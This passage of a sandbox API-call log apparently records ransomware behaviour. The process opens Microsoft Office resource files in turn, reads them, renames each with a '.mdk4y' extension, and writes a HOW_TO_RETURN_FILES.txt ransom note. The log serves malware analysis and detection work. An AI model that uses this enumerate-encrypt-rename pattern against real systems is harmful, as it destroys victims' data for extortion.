lpUsedDefaultChar=0x37df4c) returned 11 [0185.117] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.118] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826034800000) returned 1 [0185.118] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x43590, lpOverlapped=0x0) returned 1 [0185.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826037600000) returned 1 [0185.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826037600000) returned 1 [0185.152] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll.mdk4y")) returned 1 [0185.154] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.154] AreFileApisANSI () returned 1 [0185.154] GetACP () returned 0x4e4 [0185.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AEC.VSL", cchWideChar=7, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AEC.VSL.DLL", lpUsedDefaultChar=0x37df4c) returned 7 [0185.154] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.155] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826038500000) returned 1 [0185.155] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x10f78, lpOverlapped=0x0) returned 1 [0185.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826040100000) returned 1 [0185.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826040200000) returned 1 [0185.172] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl.mdk4y")) returned 1 [0185.174] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.174] AreFileApisANSI () returned 1 [0185.174] GetACP () returned 0x4e4 [0185.174] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AECUTILS.VSL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AECUTILS.VSL", lpUsedDefaultChar=0x37df4c) returned 12 [0185.174] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.175] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826040500000) returned 1 [0185.175] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa388, lpOverlapped=0x0) returned 1 [0185.178] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826040800000) returned 1 [0185.178] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826040800000) returned 1 [0185.179] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl.mdk4y")) returned 1 [0185.180] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.180] AreFileApisANSI () returned 1 [0185.180] GetACP () returned 0x4e4 [0185.180] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ASSET.VRD", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ASSET.VRDVSL", lpUsedDefaultChar=0x37df4c) returned 9 [0185.180] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.182] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826041200000) returned 1 [0185.182] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x69e, lpOverlapped=0x0) returned 1 [0185.183] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826041300000) returned 1 [0185.183] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826041300000) returned 1 [0185.183] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd.mdk4y")) returned 1 [0185.184] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.184] AreFileApisANSI () returned 1 [0185.184] GetACP () returned 0x4e4 [0185.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BASIC.HTM", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BASIC.HTM", lpUsedDefaultChar=0x37df4c) returned 9 [0185.184] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\basic.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.186] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826041600000) returned 1 [0185.186] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x10d, lpOverlapped=0x0) returned 1 [0185.186] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826041600000) returned 1 [0185.187] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826041600000) returned 1 [0185.187] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\basic.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\basic.htm.mdk4y")) returned 1 [0185.188] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.188] AreFileApisANSI () returned 1 [0185.188] GetACP () returned 0x4e4 [0185.188] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BCSRuntimeRes.dll", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BCSRuntimeRes.dllUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 17 [0185.188] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.188] AreFileApisANSI () returned 1 [0185.188] GetACP () returned 0x4e4 [0185.188] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BHOINTL.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BHOINTL.DLLes.dll", lpUsedDefaultChar=0x37df4c) returned 11 [0185.188] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.188] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826041800000) returned 1 [0185.188] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2778, lpOverlapped=0x0) returned 1 [0185.274] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826050400000) returned 1 [0185.274] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826050400000) returned 1 [0185.274] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll.mdk4y")) returned 1 [0185.276] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.276] AreFileApisANSI () returned 1 [0185.276] GetACP () returned 0x4e4 [0185.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Bibliography", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Bibliographys.dll", lpUsedDefaultChar=0x37df4c) returned 12 [0185.276] AreFileApisANSI () returned 1 [0185.276] GetACP () returned 0x4e4 [0185.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=61, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\hℨk") returned 61 [0185.277] AreFileApisANSI () returned 1 [0185.277] GetACP () returned 0x4e4 [0185.277] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0185.277] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0185.277] AreFileApisANSI () returned 1 [0185.277] GetACP () returned 0x4e4 [0185.277] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..:", lpUsedDefaultChar=0x37dec0) returned 2 [0185.277] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0185.277] AreFileApisANSI () returned 1 [0185.277] GetACP () returned 0x4e4 [0185.277] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BIBFORM.XML", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BIBFORM.XML", lpUsedDefaultChar=0x37dec0) returned 11 [0185.277] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography\\bibform.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0185.278] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826050800000) returned 1 [0185.278] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x165e2, lpOverlapped=0x0) returned 1 [0185.357] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826058700000) returned 1 [0185.358] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826058800000) returned 1 [0185.359] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography\\bibform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography\\bibform.xml.mdk4y")) returned 1 [0185.361] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 0 [0185.361] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0185.362] AreFileApisANSI () returned 1 [0185.362] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ad838, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0185.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0185.363] GetFileType (hFile=0xd8) returned 0x1 [0185.364] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.364] AreFileApisANSI () returned 1 [0185.364] GetACP () returned 0x4e4 [0185.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BSTORM.VSL", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BSTORM.VSLhy", lpUsedDefaultChar=0x37df4c) returned 10 [0185.364] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.366] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826059600000) returned 1 [0185.366] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb390, lpOverlapped=0x0) returned 1 [0185.405] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826063500000) returned 1 [0185.405] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826063500000) returned 1 [0185.406] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl.mdk4y")) returned 1 [0185.407] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.407] AreFileApisANSI () returned 1 [0185.407] GetACP () returned 0x4e4 [0185.407] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BW.CSS", cchWideChar=6, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BW.CSS.VSL", lpUsedDefaultChar=0x37df4c) returned 6 [0185.407] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bw.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.408] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826063800000) returned 1 [0185.408] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7a, lpOverlapped=0x0) returned 1 [0185.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826065900000) returned 1 [0185.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826065900000) returned 1 [0185.429] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bw.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bw.css.mdk4y")) returned 1 [0185.431] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.431] AreFileApisANSI () returned 1 [0185.431] GetACP () returned 0x4e4 [0185.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CALEVENT.VRD", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CALEVENT.VRD", lpUsedDefaultChar=0x37df4c) returned 12 [0185.431] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.432] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826066200000) returned 1 [0185.432] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x860, lpOverlapped=0x0) returned 1 [0185.451] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826068100000) returned 1 [0185.451] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826068100000) returned 1 [0185.452] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd.mdk4y")) returned 1 [0185.453] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.453] AreFileApisANSI () returned 1 [0185.453] GetACP () returned 0x4e4 [0185.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CERTINTL.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CERTINTL.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0185.453] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.454] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826068400000) returned 1 [0185.454] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2f90, lpOverlapped=0x0) returned 1 [0185.455] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826068500000) returned 1 [0185.455] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826068500000) returned 1 [0185.455] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll.mdk4y")) returned 1 [0185.456] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.456] AreFileApisANSI () returned 1 [0185.456] GetACP () returned 0x4e4 [0185.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CLVWINTL.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CLVWINTL.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0185.456] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.457] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826068700000) returned 1 [0185.457] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4da8, lpOverlapped=0x0) returned 1 [0185.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826068800000) returned 1 [0185.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826068800000) returned 1 [0185.458] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll.mdk4y")) returned 1 [0185.459] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.459] AreFileApisANSI () returned 1 [0185.459] GetACP () returned 0x4e4 [0185.459] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CMAXRES.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CMAXRES.DLLL", lpUsedDefaultChar=0x37df4c) returned 11 [0185.459] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.461] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826069100000) returned 1 [0185.461] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8990, lpOverlapped=0x0) returned 1 [0185.474] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826070400000) returned 1 [0185.474] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826070400000) returned 1 [0185.474] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll.mdk4y")) returned 1 [0185.475] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.475] AreFileApisANSI () returned 1 [0185.475] GetACP () returned 0x4e4 